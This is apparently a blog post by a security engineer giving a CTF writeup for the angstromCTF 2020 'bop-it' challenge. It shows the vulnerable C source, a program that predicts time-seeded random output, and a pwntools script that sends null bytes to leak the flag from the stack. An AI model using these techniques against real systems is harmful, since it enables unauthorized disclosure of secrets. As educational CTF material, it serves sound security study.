Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia

Posts   About

nullbyte poisoning angstromCTF 2020 bop-it writeup

this article explains about my writeup.

Description:

Can you bop it? Source. Connect with nc shell.actf.co 20702.

Author: kmh

Solution:

we are given elf binary , and a source code written in c

bop_it: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, BuildID[sha1]=47225f15fc7f75398783b4e93d65627f37711392,
for GNU/Linux 3.2.0, not stripped

this is the source code :

#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	const char *actions[] = {"Bop it!\n", "Twist it!\n", "Pull it!\n", "Flag it!\n"};

	srand(time(NULL));

	char c;
	char *action = actions[rand()%4];
	write(1, action, strlen(action));
	while ((c = getchar()) != EOF) {
		if (!strcmp(action, actions[3])) {
			char guess[256];
			guess[0] = c;
			int guessLen = read(0, guess+1, 255)+1; //add to already entered char
			guess[guessLen-1] = 0; //remove newline
			char flag[32];
			FILE *f = fopen("flag.txt", "rb");
			int r = fread(flag, 1, 32, f);
			flag[r] = 0; //null terminate
			if (strncmp(guess, flag, strlen(flag))) {
				char wrong[strlen(guess)+35];
				wrong[0] = 0; //string is empty intially
				strncat(wrong, guess, guessLen);
				strncat(wrong, " was wrong. Better luck next time!\n", 35);
				write(1, wrong, guessLen+35);
				exit(0);
			}
		} else if (c != action[0]) {
			char wrong[64] = "_ was wrong. What you wanted was _!\n";
			wrong[0] = c; //user inputted char
			wrong[strlen(wrong)-3] = action[0]; //correct char
			write(1, wrong, strlen(wrong));
			getchar(); //so there's no leftover newline
			exit(0);
		} else { getchar(); }
		action = actions[rand()%4];
		write(1, action, strlen(action));
	}
}

we have to answer the correct question from

const char *actions[] = {"Bop it!\n", "Twist it!\n", "Pull it!\n", "Flag it!\n"};
srand(time(NULL));
char *action = actions[rand()%4];

till we got “Flag it!\n” as the answer , so the flag will loaded to the stack and we can try to leak the flag by using null byte poisoning

this is my exploit to answer the correct question

#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

int main(){
  srand(time(NULL));

  const char *actions[] = {"Bop it!\n", "Twist it!\n", "Pull it!\n", "Flag it!\n"};

  char c;
	char *action = actions[rand()%4];
  write(1, action, 1);
  // wrong[strlen(wrong)-3] = action[0];
  // write(1, wrong, strlen(wrong));
}

and this is the python code to send our payload

#!/usr/bin/env python2
'''
    author : tripoloski
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
import subprocess
context.update(arch="amd64", endian="little", os="linux", log_level="debug",)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/angstrom2020/pwn/bop-it/bop_it")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    attach(r)
    guess = subprocess.Popen(['./s'] , stdout=PIPE).communicate()[0]
    log.info("my guess : " + (guess))
    p = guess
    x = "\x00" *120 # 100 works , 120 works too
    r.sendline(p)
    r.sendline(x)
    r.interactive()
    # r.recvline(timeout=0)
    r.close()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("shell.actf.co", 20702)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

and we got our flag

FLAG : actf{bopp1ty_bop_bOp_b0p}